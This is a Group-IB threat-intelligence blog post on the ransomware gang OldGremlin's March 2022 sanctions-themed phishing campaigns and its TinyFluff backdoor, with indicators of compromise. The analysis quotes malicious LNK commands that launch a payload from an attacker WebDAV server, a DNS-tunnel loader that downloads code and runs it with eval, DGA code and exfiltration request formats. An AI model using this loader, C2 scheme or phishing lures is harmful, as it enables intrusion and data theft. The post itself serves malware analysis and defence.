

[← Blog](#)

Ivan Pisarev

Technical Head, META

Old Gremlins, new methods

Russian-speaking ransomware gang OldGremlin resumes attacks in Russia

April 14, 2022 · min to read · Ransomware

OldGremlin Ransomware Russia

Until recently, Russian-speaking cyber threat actors shared an unspoken rule: do not attack Russian companies. Groups that violated the rule were few and far between, and **OldGremlin** was one of them. Since spring 2020, when the “gremlins” were first uncovered by **Group-IB Threat Intelligence** analysts, the hackers have been attacking Russian businesses, including banks, industrial enterprises, medical organizations, and software developers.

According to a Singapore-based cybersecurity company Group-IB, **over the past two years OldGremlin has conducted 13 malicious email campaigns**. The year 2020 was the most fruitful: **ten campaigns**, with emails purporting to be from a Russian metallurgical holding, the Belarusian plant MTZ, a dental clinic, and the media holding RBC, nine of which were described in **Group-IB’s 2020 report**. One more campaign was discovered later in the year.

After the first attacks, it became clear that **OldGremlin** prepares their phishing emails with great care and monitors the news agenda closely. Their choices for email subjects included remote work during the pandemic, protests in Belarus, and an interview request from a known financial journalist working for a Russian media outlet, called RBC.

Another **OldGremlin** hallmark is that the group conducts multi-stage targeted attacks using sophisticated tactics and techniques. For example, they did not send their **TinyCryptor ransomware** directly by email; instead they first obtained remote access to the victim’s machine. The latter was used as a springboard to conduct reconnaissance, collect data, and then move laterally across the organization’s network.

OldGremlin history

OldGremlin launched only one mass phishing email campaign in 2021 (in February), but it was so successful that, apparently, it fueled the gang for the entire year. A few months later, Group-IB team discovered that the February email campaign was the initial entry point and source of a number of attacks. Moreover, last year OldGremlin became the greediest cybergang targeting Russia: they demanded as much as **\$3 million** from one of their victims.

In late March 2022, OldGremlin put themselves on the radar with two malicious email campaigns. As in past attacks, the group bombarded Russian companies with another batch of emails exploiting trending news topics. This time they played the sanctions card, masquerading as representatives of a Russian financial organization.

Given the fact that many international providers of email security products suspended operations on the Russian market, **the campaigns of OldGremlin and other threat actors that use email at the initial stage are likely to become more successful and frequent.**

Having identified one potential victim (a mining company), Group-IB Computer Emergency Response team (CERT-GIB) warned the company in question about the threat.

In this blog post, Group-IB experts share technical descriptions of OldGremlin's new attacks and tools and map the group's main tactics, techniques and procedures (TTPs) to the MITRE ATT&CK™ framework.

March 22 Campaign

A new **OldGremlin's** attack was detected on March 22, 2022. Before the campaign, on March 2, the attackers registered the domain **mirfinance[.]org** with namecheap, set it up with the public email service **Yandex.Mail** and sent malicious emails to Russian companies. The use of public legitimate email service sometimes allows the attackers to bypass traditional security systems.

DNS records for mirfinance[.]org. Source: Group-IB Threat Intelligence

As mentioned above, **carefully crafted phishing emails are OldGremlin's hallmark**. This time the emails were allegedly sent by a senior accountant of a financial organization in Russia who warned the recipients about new sanctions that would completely suspend operations of Visa/Mastercard payment systems. Notably, the phishing emails were sent two weeks after Visa and Mastercard announced they would suspend operations in Russia.

"All cards issued in our country [Russia] will no longer work," the phishing email said and prompted the recipients to urgently issue a new banking card and link it to the bank payroll.

OldGremlin's phishing email from the March 22 campaign

Translation of the phishing email: 

To have a new payment card “issued”, the client was supposed to read the guidelines and fill out a questionnaire. In reality, the emails contained links to a malicious document stored in Dropbox: **hxxps://dl[.]dropboxusercontent[.]com/s/1956cypkkihawuu/Anketa.docx?dl=0**. The document looked as follows:

Malicious document stored in Dropbox

Translation:

It is noteworthy that in February 2021, the threat actor sent emails leveraging a malicious document containing a similar Office 365 image. The campaign affected multiple companies, and OldGremlin is still reaping the benefits, as they are known for dwelling in the victims' infrastructure for a long time before proceeding to the next stage.

To return to the recent attack, the infection scheme is presented below for clarity:

OldGremlin's March 22 attack

Once opened, the document loads a template located at **hxxps://dl[.]dropboxusercontent[.]com/s/gjyjs0rbtihy7ue/Doc1.dotm**. The template contains a macro that performs the following actions:

1. Copies the original file (Anketa.docx) to the path **%TEMP%\docx1.zip**.
2. Extracts an executable file from the archive embedded in the original document to the path **%TEMP%\word\media\image2.jpg**, renames the file to **image2.exe** and launches it.
3. Displays an error and closes the document.

The archive contained the group's new tool, which — judging by the PDB string — the developer named **TinyFluff**. TinyFluff is a successor to the gang's custom backdoor called TinyNode, which OldGremlin used as the primary downloader for receiving and running malicious scripts. The purpose of TinyFluff was to launch the interpreter Node.js on the infected device and grant remote access to it (a detailed description of the interpreter can be found in the "Tools" section).

The key features of this version of TinyFluff are:

1. The application downloads Node.js from the official website.
2. JavaScript is embedded in the file body.
3. It does not contain a hardcoded command and control (C2) address; instead the application uses DGA.

4. All communication with C2 servers is performed through a DNS tunnel.

Among the generated domains, two definitely belonged to the attackers. The rest were either not registered at the time of analysis or Group-IB experts could not find evidence that they were involved in the attack:

Domain	NS-subdomain	IP addresses of NS-subdomains
eccbc8[.]com	ns1[.]eccbc8[.]com ns2[.]eccbc8[.]com ns3[.]eccbc8[.]com ns4[.]eccbc8[.]com	46.101.113[.]161 161.35.41[.]9
a3c65c[.]org	ns1[.]a3c65c[.]org ns2[.]a3c65c[.]org ns3[.]a3c65c[.]org ns4[.]a3c65c[.]org	46.101.113[.]161 161.35.41[.]9

We will return to the table above, but for now we will continue to describe the cyber kill chain.

Group-IB's Managed XDR extracted some of the JavaScripts used in this campaign. In particular, Group-IB detected an interesting — though still “raw” — script with a wide functionality:

- Communication with the C2 server through a DNS tunnel
- Gathering information about infected devices
- Stealing files from infected devices
- Downloading arbitrary files from servers
- Deploying a SOCKS server to proxy traffic
- Executing arbitrary JS code

OldGremlin's March 25 attack

Three days later, on March 25, the group launched a new campaign, but using a more simplified toolkit. The likely reason for this is that the final script used in the previous attack was not yet ready for full-fledged use in the wild. It required additional testing and additional features. The bad news is that OldGremlin will most likely perfect their script and use it in future attacks.

Unfortunately, Group-IB has not yet uncovered any email samples (if you have received one, please let us know), but our specialists did reconstruct the second attack.

OldGremlin's March 25 attack

The attack was identified following the analysis of OldGremlin's infrastructure. Group-IB discovered two LNK files that were associated with the IP address **46.101.113[.]161** (used to resolve NS records for subdomains from the previous malicious email campaign). Both files were located in archives available for downloading from Dropbox:

Name	SHA1	Links
Akt_sverki.zip	dda9900cefa8cdc8ec362d80480ba6c4cfdc62b2	hXXps://dl.dropboxusei hXXps://dl.dropboxusei hXXps://dl.dropboxusei hXXps://dl.dropboxusei
DopSog_Consult.zip	ae52c93c16c63aac9be778e89157b67c7bc7c61c	hXXps://dl.dropboxusei dl=0

Name	SHA1	Links
		hXXps://dl.dropboxuse

Group-IB experts believe that the above links were embedded in the emails sent by the group. When launched, the LNK files executed the following commands:

LNK name	Command
DopSog_Consultant.docx.lnk	"%ComSpec%" /c net use hxxp://192.248.176[.]138 && start \\192.248.176[.]138\DavWWWRoot\DopSog_Consultant.docx && start /b \\192.248.176[.]138\DavWWWRoot\tf.exe
Akt_sverki_Consultant.docx.lnk	"%ComSpec%" /c net use hxxp://192.248.176[.]138 && start \\192.248.176[.]138\DavWWWRoot\Akt_sverki_Consultant.docx && start /b \\192.248.176[.]138\DavWWWRoot\tf.exe

Here is what happened: using WebDAV protocol the threat actors mapped the network drive **hxxp://192.248.176[.]138**, displayed the decoy document (**DopSog_Consultant.docx** or **Akt_sverki_Consultant.docx**), and launched the malicious executable file **tf.exe**. The decoy documents looked as follows:

Decoy document Akt_sverki_Consultant.docx (Translation: Reconciliation certificate)

Decoy document DopSog_Consultant.docx (Translation: Supplementary Agreement). Obviously, the legitimate company **Consultant Plus** has nothing to do with documents used in the campaign.

The payload, as you may have guessed, is **TinyFluff**. Unlike the file used in the March 22 campaign, however, this version does not have a built-in script and does not download the Node.js interpreter from the official website. Instead, the application copies both the script and the interpreter from its own current location, i.e., from the network drive **192.248.176[.]138**.

The final-stage script is much simpler than the above version. It lacks both DGA (the IP address **46.101.113[.]161** is specified as C2) and data encryption. In fact, all communication between the Trojan and C2 could be viewed using an ordinary traffic sniffer.

Group-IB experts retrieved several JS commands that were executed on the infected device. They were all designed to obtain information about an infected device. They even included CMD commands (as described in the corresponding section).

Tools used by OldGremlin group

TinyFluff

As mentioned above, Group-IB experts detected two versions of TinyFluff:

Campaign date	SHA1
2022-03-25	c82e12e563d5d5f4a8dd67703b5df7373b457abc
2022-03-22	bd0a6a3628f268a37ac9d708d03f57feef5ed55e

Let's begin with the **tf.exe** file (SHA1: c82e12e563d5d5f4a8dd67703b5df7373b457abc) as the tool is much simpler than its predecessor. Once launched, the application creates the directory **%APPDATA%\%MachineGuid%**, where **%MachineGuid%** is the registry value for **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid**. If the directory already exists, the application terminates itself. The application copies the interpreter **Node.js (node.exe)** and the malicious script **s.txt** to the created directory. The script is heavily obfuscated, but if it can be run then there is no need to waste time on de-obfuscation because the obfuscated layer restarts Node.js and passes a "clean" script to it as an argument.

How Group-IB Managed XDR's module called Malware Detonation Platform lays the attack

As seen in the screenshot, the argument of the second **node.exe** process is a script without obfuscation. Its functionality is simple: it connects to the address **46.101.113[.]161:80**, passes the format identifier **/{0.[0-9]*/}**, receives the command in a loop, and executes it (using the function **eval**). The commands are described in detail in the relevant section.

Although the second version of **TinyFluff** (SHA1: bd0a6a3628f268a37ac9d708d03f57feef5ed55e) was discovered earlier (and the compilation date is more recent), it is more sophisticated. Just like the previous version, it places the script and the interpreter in the directory **%APPDATA%\%MachineGuid%**. However, the interpreter is downloaded from the official website: <http://nodejs.org/dist/latest-erbium/win-x86/node.exe>, and the malicious script is located in a resource of the executable file named **TXT**. As in the above case, the de-obfuscated script can be obtained from an argument of the **node.exe** child process:

Source: Group-IB Managed XDR

This time the script is more complicated. For example, it doesn't have a built-in C2 list. Instead, the script uses DGA:

```
const a=[0...0x1e4] const tld=[".com",".org",".net"],
domain=crypto.createHash("md5").update(a.toString()).digest("hex").slice(0,6)+tld[f]
```

For each domain, the script generates a subdomain in the format **[0-9a-f]{4}.[0-9a-f]{8}.%dga_domain%**, creates a DNS query, and receives a TXT record. The tool carries out all communication through a DNS tunnel, which means that all the data transmitted by the Trojan is in a subdomain and the server's response is in a TXT record. We will not dwell on this any further as we believe that all interaction with the server occurs in this way.

The script verifies the digital signature of the received data using the function `crypto.verify` with the base64-encoded key

MCowBQYDK2VwAyEAgp0p9o6lg/ZZ3WUJtx7UBBb1qYMZEDNC19Hbb84wt88= (in DER format). If the signature is valid, the script generates a bot identifier (a number from 0 to 1), after which it requests a command from the C2 server in a loop. The response is obfuscated. De-obfuscation is performed as follows:

1. Data is Base64-decoded.
2. Data is decrypted using the RC4 algorithm (in such requests, the key is `%id%.%dga_domain%`, which is the domain to which a connection was made).
3. The decrypted data is decompressed using the gzip algorithm.

The above described algorithm is used to de-obfuscate all traffic between the malware and the C2 server, with only the key changing (going forward we will therefore only say that the data is de-obfuscated using a given key). After de-obfuscation, a JS script is immediately executed by the interpreter. The textual description is complicated, so let's illustrate it using a sample analyzed by the **Malware Detonation Platform**. Registration looked as follows:

The example above shows that the domain **eccbc8[.]com** was generated using DGA and that **0.058106102444631436** is the bot's unique identifier. The screenshot shows two TXT responses, but at this stage we are only interested in the first one:

```
VI1Ok4WH0QkAA3xSgGwyotPYGd0Q4X4LeLYTqO0mgkIgbunlqCBxhnEilFysl2UrJWKsy0Q+i
```

We will return to the second response later. If you use the following script:

```
crypto=require("crypto"), global.dec=(key,ciphertext)=>{ const
a=require("crypto").createDecipheriv("rc4",key,null), k=a.update(ciphertext,"base64"),
b=require("zlib").gunzipSync(k); return a.final(),b.toString() }
```

and the key **0.058106102444631436.eccbc8[.]com**, you will receive the first command:

```
let C = 0, P = "", K = "lin9gtmn", R = () => { require("dns").resolveTxt("0x" + C + "." + K +
".eccbc8[.]com", (e, d) => { if (d) { if (P += d.join(""), C++, C < 23) return R(); try {
eval(global.dec(K, P)) } catch (a) {} } } }); R()
```

As can be seen, the first command is designed to download and run the next-stage tool. To do so, it performs 23 DNS queries (such as **0x%chank_number%.lin9gtmn.eccbc8[.]com**), concatenates the responses into a string, de-obfuscates it using the key **lin9gtmn**, and launches it. An example of such requests:

0x0.lin9gtmn.eccbc8[.]com 0x1.lin9gtmn.eccbc8[.]com ... 0x22.lin9gtmn.eccbc8[.]com

The resulting script has many functions, including:

Sending multiple DNS queries at the same time

Gathering information about infected devices

Stealing files from infected devices

Downloading arbitrary files from servers

Deploying a SOCKS server to proxy traffic

It is noteworthy that at the time of analysis, the resulting script was unfinished: Group-IB researchers came across errors in the script code and the persistence function was commented out. Moreover, from all the above functions, the script only performs one, namely collecting information about the infected device in a JSON object in the following format:

```
{ "transfer": { "threads": "global.threads", "tick": "global.tick", "domain": "global.dom" }, "paths": {
"temp": "os.tmpdir()", "home": "os.homedir()" }, "proc": { "load": "os.loadavg()", "cpus": "os.cpus()" },
"mem": { "total": "os.totalmem()", "free": "os.freemem()" }, "network": { "interfaces":
"os.networkInterfaces()" }, "sys": { "hostName": "os.hostname()", "type": "os.type()", "platform":
"os.platform()", "release": "os.release()", "uptime": "os.uptime()" }, "user": "os.userInfo()" }
```

The data is once again obfuscated using the **lin9gtmn** key, split into chunks of 60 bytes, and sent as several requests in the following format:

```
1x%chank_number%.%key%.%random_string{8}%.%hex_chunk%.eccbc8[.]com
```

Polygon example:

```
1x2.lin9gtmn.v937nf2g.01e35a4076d1b5a1f285b49c11d2a96230b8ce152e9b3877243b7e5234
```

In response, the server sends an obfuscated JavaScript to be executed. In our case, Group-IB experts did not receive any additional commands. However, do you remember that we planned to return to the second response? Here it is:

The second command from the server after de-obfuscation looks as follows:

```
if(global.connect)global.connect()
```

And this script runs the second large piece of code from the final-stage script. First, the code makes a request to the server in order to obtain connection parameters. The request is as follows:

```
2x.%uid%.%id%%rand_string{2}%.%dga_domain%
```

Polygon example:

```
2x.058106102444631436.079i4mjd6c.eccbc8[.]com
```

The response is data in the format **%threads%:%width%:%expire%**, obfuscated with the **%id%** key. To avoid overloading the article with in-depth technical details, we will not describe what these fields mean. We will only note that these variables are responsible for the number of simultaneous DNS requests, the number of simultaneously processed commands from the server, and the run time of the command handler script.

Having obtained the connection parameters, the script launches the function used to handle commands from the server. The function makes a request to the server in order to receive commands:

```
3x.%uid%.%dga_domain%
```

Polygon example:

```
3x.058106102444631436.eccbc8[.]com
```

The script processes the following commands:

Command	Parameter	Short description
Empty line	File name	Download the file to the infected device. As a result, the code cannot be executed correctly because the command parameters are parsed with an error.
.download:	File description	Read the contents of a file from the working directory.

Command	Parameter	Short description
.set:	threads tick_sec	Change the parameters for connecting to the server, where threads is the number of simultaneously executed DNS requests and tick_sec is the time for requesting a new command.

Any other

This section contains all the functions related to the server's state.

It is worth noting that this section of the code logs the progress of its work, but in order to transfer data to the server the code uses the function **this.send** (not defined in the code). The function accepts **this.proc.stdout** as the first argument. Moreover, the result of the **.download:** command is processed in the same way. This evidence may indicate that this piece of code is still being developed.

The code also contains two functions whose names speak for themselves: **_socks** and **_eval**. Group-IB experts have not seen them being used in the code, which means that they can probably be called on the server's command. Moreover, the threat actors commented out a part of the script code that ensures persistence in the system by creating the file **OneDrive.cmd** in the **Microsoft\Windows\Start Menu\Programs\Startup** directory and adding to it a command to start the Node.js interpreter with the **s.txt** argument.

Commands

As mentioned above, on March 25, Group-IB experts obtained and analyzed several commands. The commands were being used for reconnaissance, after which the attackers (or their script) realized that the application was launched in a test environment and sent a command to terminate the interpreter. All commands were sent in clear text, which made it possible to examine them using a traffic sniffer:

An example of traffic between an infected device and a server

Commands can be divided by functionality into six scripts that perform the following actions:

1. Collecting information about the infected system/device:

- CPU
- Computer name, memory capacity
- Network information (IP and MAC addresses)
- OS information
- Path to the %Temp% directory
- System run time

2. Obtaining information about connected drives

3. Launching the cmd.exe shell, executing a command, and sending the output to C2. During our research, the following commands were executed:

- ipconfig /all
- kill

4. Obtaining information about the plugins installed in the system. At the time of research no plugins had been loaded, so we have only their names:

TSFR

SHLL
NESC
PRSE/PRST
FWSE
SPPU/SPPR
SRPU/SRPR
ATSE

5. Obtaining information about files in the following directories:

The directory in which the malicious script and the Node.js interpreter are located

C:\
C:\Users
C:\Users\<%username%>
C:\Users\<%username%>\Downloads

6. Terminating the Node.js interpreter

Group-IB researchers did not manage to obtain more commands during the analysis, but even based on this short list, we can conclude that OldGremlin prepared a sufficient number of scripts to ensure full-fledged post-exploitation.

Conclusion

After a long break of more than a year, in March 2022 the ransomware gang OldGremlin resumed their malicious email campaigns targeting Russian companies. They remain one of the very few Russian-speaking ransomware gangs operating in Russia. As in their past attacks, the gremlins used carefully crafted fake emails, an up-to-date news agenda, and new custom tools. The latter included **TinyFluff**, which we analyzed in detail. We have reason to believe that the new campaigns may have infected a large number of companies and that in the coming months the attackers will slowly and carefully move through their infrastructure, bypassing existing security systems.

To prevent ransomware attacks, Group-IB recommends that companies use **Group-IB Managed XDR** to protect their infrastructure against targeted attacks and proactively hunt for threats using Threat Intelligence data. We also advise cybersecurity analysts to explore the list of OldGremlin's tactics, techniques and procedures shared below, which is mapped to the MITRE ATT&CK matrix. Group-IB's Threat Intelligence team will continue to monitor the group's activities and promptly notify customers about any new attacks.

Try Group-IB Threat Intelligence Now

Optimize strategic, operational and tactical decision making with best-in-class threat intelligence

[Test Drive Group-IB Threat Intelligence](#)

MITRE

IOCs

Network

Domains

Description	Value
-------------	-------

Domain	mirfinance[.]org
--------	------------------

Registrar	namecheap, inc
-----------	----------------

Reg date	2022-03-02
----------	------------

Exp date	2023-03-02
----------	------------

TXT record	v=spf1 redirect=_spf.yandex.net
------------	---------------------------------

IP	192.64.119[.]190
----	------------------

Description	Value
-------------	-------

Domain	eccbc8[.]com
--------	--------------

Registrar	namecheap, inc
-----------	----------------

Reg date	2022-03-02
----------	------------

Exp date	2023-03-02
----------	------------

IP	–
----	---

Description	Value
-------------	-------

Domain	a3c65c[.]org
--------	--------------

Description	Value
Registrar	namecheap, inc
Reg date	2021-12-07
Exp date	2022-12-07
IP	-

Domain	NS-subdomain	IPs of ns-subdomains
eccbc8[.]com	ns1[.]eccbc8[.]com ns2[.]eccbc8[.]com ns3[.]eccbc8[.]com ns4[.]eccbc8[.]com	46.101.113[.]161 161.35.41[.]9
a3c65c[.]org	ns1[.]a3c65c[.]org ns2[.]a3c65c[.]org ns3[.]a3c65c[.]org ns4[.]a3c65c[.]org	46.101.113[.]161 161.35.41[.]9

IPs

URLs

Files

2022-03-22

Description	Value
Link	hxxps://dl[.]dropboxusercontent[.]com/s/1956cypkkihawuu/Anketa.docx?dl=0
Name	Anketa.docx
MD5	70F4416F6EC6C0DBF916A717BC4A612F

Description	Value
SHA1	AF3190DE95DD187661D0866404B087EC7BB8C6BA
SHA256	700FC6C697A869CC978D042B024E59C5FCD4E8905C2FBC7CAEEB3760C2905B
Size	137,081 bytes
Type	Initial malicious document

Description	Value
Link	hxxps://dl[.]dropboxusercontent[.]com/s/gjyjs0rbtiyh7ue/Doc1.dotm
Name	Doc1.dotm
MD5	669cd24d66587ebdbb709302ed011c0e
SHA1	313c8241e0c74fac52530c55089979ac4763e0e2
SHA256	ea95c527da29ca29072617dce28a567d11a7c777f2fcc2a752d0dff626180e70
Size	17,778 bytes
Type	Malicious template

Description	Value
Name	image2.jpg, image2.exe
MD5	B59B53C35F03CFF659F848297BCF3314
SHA1	BD0A6A3628F268A37AC9D708D03F57FEEF5ED55E
SHA256	4682A66EFA7C79AB56DFDFC1BBA5CF001D380D516FF1B64ACEA0B53784FDE80
Size	104,448 bytes

Description	Value
Compilation timestamp	2022-03-20 13:25:12 UTC

PDB	Z:\TinvFluff\Release\TinvFluff.pdb
-----	------------------------------------

Description	Value
Name	s.txt
MD5	FC763A77DFFDBBC62D256524CD4808D9
SHA1	FAB504D579B2E1AAE8701EA1BDA3F3A8B694927F
SHA256	476852E3257631D6AC2882237CFA146DCAEFE17A10A11B984AEC5CC9B61D48D4
Size	16,092 bytes

2022-03-25

Description	Value
Name	DopSog_Consult.zip
MD5	3e4ab86263e0ff5a35f2e3fb17d03727
SHA1	ae52c93c16c63aac9be778e89157b67c7bc7c61c
SHA256	09c0ac9e09f91a415f674c6cd27b1cc44d8c695da6a449d6baf70107027af2fa
Size	987 bytes
Type	Archive with LNK
LNK hash	e1b5fc5df05b25fc7136cf9b7ea252e50ebff2ef

Description Value

Name Akt_sverki.zip

MD5 64db43f22430e75716aacd7ca13bbac6

SHA1 dda9900cefa8cdc8ec362d80480ba6c4cfdc62b2

SHA256 f1102cceed4e6529f8c5b1bf387b798bfba727b49c4a7442b19c392335291cab

Size 1,002 bytes

Type Archive with LNK

LNK hash 3c1b1942537ee273325b02ec305bb02e2d0a02f8

Description Value

Name Akt_sverki.zip

MD5 0c46a727d2b9d6e0d1c3bee3b9e90abf

SHA1 1e22af4c6e4dfe625043dddde295fef84bd36ab9

SHA256 bc7ccad7d1ed91a45e792866ff9a060414c1d3c2f9ae8f06689cb96a2e3957a6

Size 1,018 bytes

Type Archive with LNK

LNK hash 3C1B1942537EE273325B02EC305BB02E2D0A02F8

Description Value

Name DopSog_Consultant.docx.lnk

MD5 858d14841bc1cc90e8e24a51aca814e1

Description	Value
SHA1	e1b5fc5df05b25fc7136cf9b7ea252e50ebff2ef
SHA256	f36305e01515b73607f0f8941d9093fabe1b7a7e3f90c18f137403a0f016cdf
Size	1,610 bytes
Type	Malicious LNK
Command	"%ComSpec%" /c net use hxxp://192.248.176[.]138 && start \\192.248.176[.]138\DavWWWRoot\DopSoc_Consultant.docx && start /b

Description	Value
Name	Akt_sverki_Consultant.docx.lnk
MD5	e8fce013184401fb8d6e248fc91b4f9e
SHA1	3c1b1942537ee273325b02ec305bb02e2d0a02f8
SHA256	0a0889330501ee52ca5fe2b2f41fbcad7d26afce8bc430c7fe274e6ebe64c680
Size	1,618 bytes
Type	Malicious LNK
Command line	"%ComSpec%" /c net use hxxp://192.248.176[.]138 && start \\192.248.176[.]138\DavWWWRoot\DopSog_Consultant.docx && start /b \\192.248.176[.]138\DavWWWRoot\tf.exe

Description	Value
Name	Akt_sverki_Consultant.docx
MD5	e959fa8191ca2e4dd99932e149668ade
SHA1	79526eaf1489762ca1deca358d6742f9c1718ca6

Description	Value
SHA256	4ff26fed848df58550c656fb1676a9afded48060381c55d45154a90a3272ba9e
Size	22,614 bytes
Type	Decoy document

Description	Value
Name	DopSog_Consultant.docx
MD5	0ead98011c8d777fd2772d41ab990111
SHA1	9569f635576ec5460571ca6ee02f9b01f39956ea
SHA256	990ef464d76b206e4727ee9ccba9c0be33a278a26116c3c2c839125abc97777f
Size	24,551 bytes
Type	Decoy document

Description	Value
Name	tf.exe
MD5	9dc7f56d0bb5d7543d0ea4a644110623
SHA1	c82e12e563d5d5f4a8dd67703b5df7373b457abc
SHA256	8f3747775a1bdeae4627763687bdcb2ef325874e7a908f3ec24380c5d2f2b44a
Size	88,576 bytes
Compilation timestamp	2022-03-24 09:02:10 UTC
PDB	Z:\WebFluffPP\Release\TinyFluff.pdb

Description	Value
Name	s.txt
MD5	1ddda12e2a8594bc458dbf22b4b39c27
SHA1	dbaad9f3af3e48da6ef6a93747b2a1939ffa4b3d
SHA256	2b507a5d9af760667e18cd11584816575d102d7e9e1900de29b8513d30f6d65c
Size	8,392 bytes

Share this article

Found it interesting? Don't hesitate to share it to wow your friends or colleagues



Products

- Threat Intelligence
- Fraud Protection
- Managed XDR
- Attack Surface Management
- Digital Risk Protection

Resources

- Research Hub
- Success Stories
- Knowledge Hub
- Certificates
- Webinars

[Business Email Protection](#)

[Cyber Fraud Intelligence Platform](#)

[Unified Risk Platform](#)

[Integrations](#)

[Podcasts](#)

[TOP Investigations](#)

[Ransomware Notes](#)

[AI Cybersecurity Hub](#)

Partners

[Partner Program](#)

[MSSP and MDR Partner Program](#)

[Technology Partners](#)

[Partner Locator](#)

Company

[About Group-IB](#)

[Team](#)

[CERT-GIB](#)

[Careers](#)

[Internship](#)

[Academic Alliance](#)

[Sustainability](#)

[Media Center](#)

[Contact](#)

[Subscription plans](#) →

[Services](#) →

[Resource Center](#) →

Contact

APAC: +65 3159 3798

EU & NA: +31 20 226 90 90

MEA: +971 4 568 1785

info@group-ib.com



Subscribe to stay up to date with the latest cyber threat trends

© 2003 – 2026 Group-IB is a global leader in the fight against cybercrime, protecting customers around the world by preventing breaches, eliminating fraud and protecting brands.

[Terms of Use](#) [Cookie Policy](#) [Privacy Policy](#)